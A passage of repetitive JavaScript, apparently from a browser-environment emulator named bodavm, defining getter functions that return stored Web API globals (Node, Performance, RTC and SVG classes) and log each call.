bodavm.memory.globalobj['MutationEvent']; console.log_copy(`window_MutationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MutationRecord = function () { let arg = bodavm.memory.globalobj['MutationRecord']; console.log_copy(`window_MutationRecord`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NamedNodeMap = function () { let arg = bodavm.memory.globalobj['NamedNodeMap']; console.log_copy(`window_NamedNodeMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NetworkInformation = function () { let arg = bodavm.memory.globalobj['NetworkInformation']; console.log_copy(`window_NetworkInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Node = function () { let arg = bodavm.memory.globalobj['Node']; console.log_copy(`window_Node`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeFilter = function () { let arg = bodavm.memory.globalobj['NodeFilter']; console.log_copy(`window_NodeFilter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeIterator = function () { let arg = bodavm.memory.globalobj['NodeIterator']; console.log_copy(`window_NodeIterator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeList = function () { let arg = bodavm.memory.globalobj['NodeList']; console.log_copy(`window_NodeList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OfflineAudioCompletionEvent = function () { let arg = bodavm.memory.globalobj['OfflineAudioCompletionEvent']; console.log_copy(`window_OfflineAudioCompletionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OfflineAudioContext = function () { let arg = bodavm.memory.globalobj['OfflineAudioContext']; console.log_copy(`window_OfflineAudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OffscreenCanvas = function () { let arg = bodavm.memory.globalobj['OffscreenCanvas']; console.log_copy(`window_OffscreenCanvas`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OffscreenCanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D']; console.log_copy(`window_OffscreenCanvasRenderingContext2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OscillatorNode = function () { let arg = bodavm.memory.globalobj['OscillatorNode']; console.log_copy(`window_OscillatorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OverconstrainedError = function () { let arg = bodavm.memory.globalobj['OverconstrainedError']; console.log_copy(`window_OverconstrainedError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PageTransitionEvent = function () { let arg = bodavm.memory.globalobj['PageTransitionEvent']; console.log_copy(`window_PageTransitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PannerNode = function () { let arg = bodavm.memory.globalobj['PannerNode']; console.log_copy(`window_PannerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Path2D = function () { let arg = bodavm.memory.globalobj['Path2D']; console.log_copy(`window_Path2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceElementTiming = function () { let arg = bodavm.memory.globalobj['PerformanceElementTiming']; console.log_copy(`window_PerformanceElementTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceEntry = function () { let arg = bodavm.memory.globalobj['PerformanceEntry']; console.log_copy(`window_PerformanceEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceEventTiming = function () { let arg = bodavm.memory.globalobj['PerformanceEventTiming']; console.log_copy(`window_PerformanceEventTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceLongTaskTiming = function () { let arg = bodavm.memory.globalobj['PerformanceLongTaskTiming']; console.log_copy(`window_PerformanceLongTaskTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceMark = function () { let arg = bodavm.memory.globalobj['PerformanceMark']; console.log_copy(`window_PerformanceMark`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceMeasure = function () { let arg = bodavm.memory.globalobj['PerformanceMeasure']; console.log_copy(`window_PerformanceMeasure`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceNavigation = function () { let arg = bodavm.memory.globalobj['PerformanceNavigation']; console.log_copy(`window_PerformanceNavigation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceNavigationTiming = function () { let arg = bodavm.memory.globalobj['PerformanceNavigationTiming']; console.log_copy(`window_PerformanceNavigationTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceObserver = function () { let arg = bodavm.memory.globalobj['PerformanceObserver']; console.log_copy(`window_PerformanceObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceObserverEntryList = function () { let arg = bodavm.memory.globalobj['PerformanceObserverEntryList']; console.log_copy(`window_PerformanceObserverEntryList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformancePaintTiming = function () { let arg = bodavm.memory.globalobj['PerformancePaintTiming']; console.log_copy(`window_PerformancePaintTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceResourceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceResourceTiming']; console.log_copy(`window_PerformanceResourceTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceServerTiming = function () { let arg = bodavm.memory.globalobj['PerformanceServerTiming']; console.log_copy(`window_PerformanceServerTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceTiming']; console.log_copy(`window_PerformanceTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PeriodicWave = function () { let arg = bodavm.memory.globalobj['PeriodicWave']; console.log_copy(`window_PeriodicWave`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Plugin = function () { let arg = bodavm.memory.globalobj['Plugin']; console.log_copy(`window_Plugin`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PluginArray = function () { let arg = bodavm.memory.globalobj['PluginArray']; console.log_copy(`window_PluginArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PointerEvent = function () { let arg = bodavm.memory.globalobj['PointerEvent']; console.log_copy(`window_PointerEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PopStateEvent = function () { let arg = bodavm.memory.globalobj['PopStateEvent']; console.log_copy(`window_PopStateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ProcessingInstruction = function () { let arg = bodavm.memory.globalobj['ProcessingInstruction']; console.log_copy(`window_ProcessingInstruction`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ProgressEvent = function () { let arg = bodavm.memory.globalobj['ProgressEvent']; console.log_copy(`window_ProgressEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PromiseRejectionEvent = function () { let arg = bodavm.memory.globalobj['PromiseRejectionEvent']; console.log_copy(`window_PromiseRejectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCCertificate = function () { let arg = bodavm.memory.globalobj['RTCCertificate']; console.log_copy(`window_RTCCertificate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDTMFSender = function () { let arg = bodavm.memory.globalobj['RTCDTMFSender']; console.log_copy(`window_RTCDTMFSender`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDTMFToneChangeEvent = function () { let arg = bodavm.memory.globalobj['RTCDTMFToneChangeEvent']; console.log_copy(`window_RTCDTMFToneChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDataChannel = function () { let arg = bodavm.memory.globalobj['RTCDataChannel']; console.log_copy(`window_RTCDataChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDataChannelEvent = function () { let arg = bodavm.memory.globalobj['RTCDataChannelEvent']; console.log_copy(`window_RTCDataChannelEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDtlsTransport = function () { let arg = bodavm.memory.globalobj['RTCDtlsTransport']; console.log_copy(`window_RTCDtlsTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCEncodedAudioFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedAudioFrame']; console.log_copy(`window_RTCEncodedAudioFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCEncodedVideoFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedVideoFrame']; console.log_copy(`window_RTCEncodedVideoFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCError = function () { let arg = bodavm.memory.globalobj['RTCError']; console.log_copy(`window_RTCError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCErrorEvent']; console.log_copy(`window_RTCErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCIceCandidate = function () { let arg = bodavm.memory.globalobj['RTCIceCandidate']; console.log_copy(`window_RTCIceCandidate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnection = function () { let arg = bodavm.memory.globalobj['RTCPeerConnection']; console.log_copy(`window_RTCPeerConnection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnectionIceErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent']; console.log_copy(`window_RTCPeerConnectionIceErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnectionIceEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceEvent']; console.log_copy(`window_RTCPeerConnectionIceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpReceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpReceiver']; console.log_copy(`window_RTCRtpReceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpSender = function () { let arg = bodavm.memory.globalobj['RTCRtpSender']; console.log_copy(`window_RTCRtpSender`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpTransceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpTransceiver']; console.log_copy(`window_RTCRtpTransceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCSctpTransport = function () { let arg = bodavm.memory.globalobj['RTCSctpTransport']; console.log_copy(`window_RTCSctpTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCSessionDescription = function () { let arg = bodavm.memory.globalobj['RTCSessionDescription']; console.log_copy(`window_RTCSessionDescription`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCStatsReport = function () { let arg = bodavm.memory.globalobj['RTCStatsReport']; console.log_copy(`window_RTCStatsReport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCTrackEvent = function () { let arg = bodavm.memory.globalobj['RTCTrackEvent']; console.log_copy(`window_RTCTrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RadioNodeList = function () { let arg = bodavm.memory.globalobj['RadioNodeList']; console.log_copy(`window_RadioNodeList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Range = function () { let arg = bodavm.memory.globalobj['Range']; console.log_copy(`window_Range`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableByteStreamController = function () { let arg = bodavm.memory.globalobj['ReadableByteStreamController']; console.log_copy(`window_ReadableByteStreamController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStream = function () { let arg = bodavm.memory.globalobj['ReadableStream']; console.log_copy(`window_ReadableStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamBYOBReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBReader']; console.log_copy(`window_ReadableStreamBYOBReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamBYOBRequest = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBRequest']; console.log_copy(`window_ReadableStreamBYOBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultController']; console.log_copy(`window_ReadableStreamDefaultController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamDefaultReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultReader']; console.log_copy(`window_ReadableStreamDefaultReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReportingObserver = function () { let arg = bodavm.memory.globalobj['ReportingObserver']; console.log_copy(`window_ReportingObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Request = function () { let arg = bodavm.memory.globalobj['Request']; console.log_copy(`window_Request`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserver = function () { let arg = bodavm.memory.globalobj['ResizeObserver']; console.log_copy(`window_ResizeObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserverEntry = function () { let arg = bodavm.memory.globalobj['ResizeObserverEntry']; console.log_copy(`window_ResizeObserverEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserverSize = function () { let arg = bodavm.memory.globalobj['ResizeObserverSize']; console.log_copy(`window_ResizeObserverSize`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Response = function () { let arg = bodavm.memory.globalobj['Response']; console.log_copy(`window_Response`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAElement = function () { let arg = bodavm.memory.globalobj['SVGAElement']; console.log_copy(`window_SVGAElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAngle = function () { let arg = bodavm.memory.globalobj['SVGAngle']; console.log_copy(`window_SVGAngle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateElement']; console.log_copy(`window_SVGAnimateElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateMotionElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateMotionElement']; console.log_copy(`window_SVGAnimateMotionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateTransformElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateTransformElement']; console.log_copy(`window_SVGAnimateTransformElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedAngle = function () { let arg = bodavm.memory.globalobj['SVGAnimatedAngle']; console.log_copy(`window_SVGAnimatedAngle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedBoolean = function () { let arg = bodavm.memory.globalobj['SVGAnimatedBoolean']; console.log_copy(`window_SVGAnimatedBoolean`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedEnumeration = function () { let arg = bodavm.memory.globalobj['SVGAnimatedEnumeration']; console.log_copy(`window_SVGAnimatedEnumeration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedInteger = function () { let arg = bodavm.memory.globalobj['SVGAnimatedInteger']; console.log_copy(`window_SVGAnimatedInteger`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedLength = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLength']; console.log_copy(`window_SVGAnimatedLength`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedLengthList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLengthList']; console.log_copy(`window_SVGAnimatedLengthList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedNumber = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumber']; console.log_copy(`window_SVGAnimatedNumber`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedNumberList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumberList']; console.log_copy(`window_SVGAnimatedNumberList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio']; console.log_copy(`window_SVGAnimatedPreserveAspectRatio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedRect = function () { let arg = bodavm.memory.globalobj['SVGAnimatedRect']; console.log_copy(`window_SVGAnimatedRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedString = function () { let arg = bodavm.memory.globalobj['SVGAnimatedString']; console.log_copy(`window_SVGAnimatedString`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedTransformList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedTransformList']; console.log_copy(`window_SVGAnimatedTransformList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimationElement = function () { let arg = bodavm.memory.globalobj['SVGAnimationElement']; console.log_copy(`window_SVGAnimationElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGCircleElement = function () { let arg = bodavm.memory.globalobj['SVGCircleElement']; console.log_copy(`window_SVGCircleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGClipPathElement = function () { let arg = bodavm.memory.globalobj['SVGClipPathElement']; console.log_copy(`window_SVGClipPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGComponentTransferFunctionElement = function () { let arg = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; console.log_copy(`window_SVGComponentTransferFunctionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGDefsElement = function () { let arg = bodavm.memory.globalobj['SVGDefsElement']; console.log_copy(`window_SVGDefsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGDescElement = function () { let arg = bodavm.memory.globalobj['SVGDescElement']; console.log_copy(`window_SVGDescElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGElement = function () { let arg = bodavm.memory.globalobj['SVGElement']; console.log_copy(`window_SVGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGEllipseElement = function () { let arg = bodavm.memory.globalobj['SVGEllipseElement']; console.log_copy(`window_SVGEllipseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEBlendElement = function () { let arg = bodavm.memory.globalobj['SVGFEBlendElement']; console.log_copy(`window_SVGFEBlendElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEColorMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEColorMatrixElement']; console.log_copy(`window_SVGFEColorMatrixElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEComponentTransferElement = function () { let arg = bodavm.memory.globalobj['SVGFEComponentTransferElement']; console.log_copy(`window_SVGFEComponentTransferElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFECompositeElement = function () { let arg = bodavm.memory.globalobj['SVGFECompositeElement']; console.log_copy(`window_SVGFECompositeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEConvolveMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEConvolveMatrixElement']; console.log_copy(`window_SVGFEConvolveMatrixElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDiffuseLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFEDiffuseLightingElement']; console.log_copy(`window_SVGFEDiffuseLightingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDisplacementMapElement = function () { let arg = bodavm.memory.globalobj['SVGFEDisplacementMapElement']; console.log_copy(`window_SVGFEDisplacementMapElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDistantLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEDistantLightElement']; console.log_copy(`window_SVGFEDistantLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDropShadowElement = function () { let arg = bodavm.memory.globalobj['SVGFEDropShadowElement']; console.log_copy(`window_SVGFEDropShadowElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFloodElement = function () { let arg = bodavm.memory.globalobj['SVGFEFloodElement']; console.log_copy(`window_SVGFEFloodElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncAElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncAElement']; console.log_copy(`window_SVGFEFuncAElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncBElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncBElement']; console.log_copy(`window_SVGFEFuncBElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncGElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncGElement']; console.log_copy(`window_SVGFEFuncGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncRElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncRElement']; console.log_copy(`window_SVGFEFuncRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEGaussianBlurElement = function () { let arg = bodavm.memory.globalobj['SVGFEGaussianBlurElement']; console.log_copy(`window_SVGFEGaussianBlurElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEImageElement = function () { let arg = bodavm.memory.globalobj['SVGFEImageElement']; console.log_copy(`window_SVGFEImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMergeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeElement']; console.log_copy(`window_SVGFEMergeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMergeNodeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeNodeElement']; console.log_copy(`window_SVGFEMergeNodeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMorphologyElement = function () { let arg = bodavm.memory.globalobj['SVGFEMorphologyElement']; console.log_copy(`window_SVGFEMorphologyElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEOffsetElement = function () { let arg = bodavm.memory.globalobj['SVGFEOffsetElement']; console.log_copy(`window_SVGFEOffsetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEPointLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEPointLightElement']; console.log_copy(`window_SVGFEPointLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFESpecularLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFESpecularLightingElement']; console.log_copy(`window_SVGFESpecularLightingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFESpotLightElement = function () { let arg = bodavm.memory.globalobj['SVGFESpotLightElement']; console.log_copy(`window_SVGFESpotLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFETileElement = function () { let arg = bodavm.memory.globalobj['SVGFETileElement']; console.log_copy(`window_SVGFETileElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFETurbulenceElement = function () { let arg = bodavm.memory.globalobj['SVGFETurbulenceElement']; console.log_copy(`window_SVGFETurbulenceElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFilterElement = function () { let arg = bodavm.memory.globalobj['SVGFilterElement']; console.log_copy(`window_SVGFilterElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGForeignObjectElement = function () { let arg = bodavm.memory.globalobj['SVGForeignObjectElement']; console.log_copy(`window_SVGForeignObjectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGElement = function () { let arg = bodavm.memory.globalobj['SVGGElement']; console.log_copy(`window_SVGGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGeometryElement = function () { let arg = bodavm.memory.globalobj['SVGGeometryElement']; console.log_copy(`window_SVGGeometryElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGradientElement = function () { let arg = bodavm.memory.globalobj['SVGGradientElement']; console.log_copy(`window_SVGGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGraphicsElement = function () { let arg = bodavm.memory.globalobj['SVGGraphicsElement']; console.log_copy(`window_SVGGraphicsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGImageElement = function () { let arg = bodavm.memory.globalobj['SVGImageElement']; console.log_copy(`window_SVGImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLength = function () { let arg = bodavm.memory.globalobj['SVGLength']; console.log_copy(`window_SVGLength`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLengthList = function () { let arg = bodavm.memory.globalobj['SVGLengthList']; console.log_copy(`window_SVGLengthList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLineElement = function () { let arg = bodavm.memory.globalobj['SVGLineElement']; console.log_copy(`window_SVGLineElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLinearGradientElement = function () { let arg = bodavm.memory.globalobj['SVGLinearGradientElement']; console.log_copy(`window_SVGLinearGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMPathElement = function () { let arg = bodavm.memory.globalobj['SVGMPathElement']; console.log_copy(`window_SVGMPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMarkerElement = function () { let arg = bodavm.memory.globalobj['SVGMarkerElement']; console.log_copy(`window_SVGMarkerElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMaskElement = function () { let arg = bodavm.memory.globalobj['SVGMaskElement']; console.log_copy(`window_SVGMaskElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMatrix = function () { let arg = bodavm.memory.globalobj['SVGMatrix']; console.log_copy(`window_SVGMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMetadataElement = function () { let arg = bodavm.memory.globalobj['SVGMetadataElement']; console.log_copy(`window_SVGMetadataElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGNumber = function () { let arg = bodavm.memory.globalobj['SVGNumber']; console.log_copy(`window_SVGNumber`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGNumberList = function () { let arg = bodavm.memory.globalobj['SVGNumberList']; console.log_copy(`window_SVGNumberList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPathElement = function () { let arg = bodavm.memory.globalobj['SVGPathElement']; console.log_copy(`window_SVGPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPatternElement = function () { let arg = bodavm.memory.globalobj['SVGPatternElement']; console.log_copy(`window_SVGPatternElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPoint = function () { let arg = bodavm.memory.globalobj['SVGPoint']; console.log_copy(`window_SVGPoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPointList = function () { let arg = bodavm.memory.globalobj['SVGPointList']; console.log_copy(`window_SVGPointList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPolygonElement = function () { let arg = bodavm.memory.globalobj['SVGPolygonElement']; console.log_copy(`window_SVGPolygonElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPolylineElement = function () { let arg = bodavm.memory.globalobj['SVGPolylineElement']; console.log_copy(`window_SVGPolylineElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGPreserveAspectRatio']; console.log_copy(`window_SVGPreserveAspectRatio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRadialGradientElement = function () { let arg = bodavm.memory.globalobj['SVGRadialGradientElement']; console.log_copy(`window_SVGRadialGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRect = function () { let arg = bodavm.memory.globalobj['SVGRect']; console.log_copy(`window_SVGRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRectElement = function () { let arg = bodavm.memory.globalobj['SVGRectElement']; console.log_copy(`window_SVGRectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSVGElement = function () { let arg = bodavm.memory.globalobj['SVGSVGElement']; console.log_copy(`window_SVGSVGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGScriptElement = function () { let arg = bodavm.memory.globalobj['SVGScriptElement']; console.log_copy(`window_SVGScriptElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSetElement = function () { let arg = bodavm.memory.globalobj['SVGSetElement']; console.log_copy(`window_SVGSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStopElement = function () { let arg = bodavm.memory.globalobj['SVGStopElement']; console.log_copy(`window_SVGStopElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStringList = function () { let arg = bodavm.memory.globalobj['SVGStringList']; console.log_copy(`window_SVGStringList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStyleElement = function () { let arg = bodavm.memory.globalobj['SVGStyleElement']; console.log_copy(`window_SVGStyleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSwitchElement = function () { let arg = bodavm.memory.globalobj['SVGSwitchElement']; console.log_copy(`window_SVGSwitchElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSymbolElement = function () { let arg = bodavm.memory.globalobj['SVGSymbolElement']; console.log_copy(`window_SVGSymbolElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTSpanElement = function () { let arg = bodavm.memory.globalobj['SVGTSpanElement']; console.log_copy(`window_SVGTSpanElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextContentElement = function () { let arg = bodavm.memory.globalobj['SVGTextContentElement']; console.log_copy(`window_SVGTextContentElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextElement = function () { let arg = bodavm.memory.globalobj['SVGTextElement']; console.log_copy(`window_SVGTextElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextPathElement = function () { let arg = bodavm.memory.globalobj['SVGTextPathElement']; 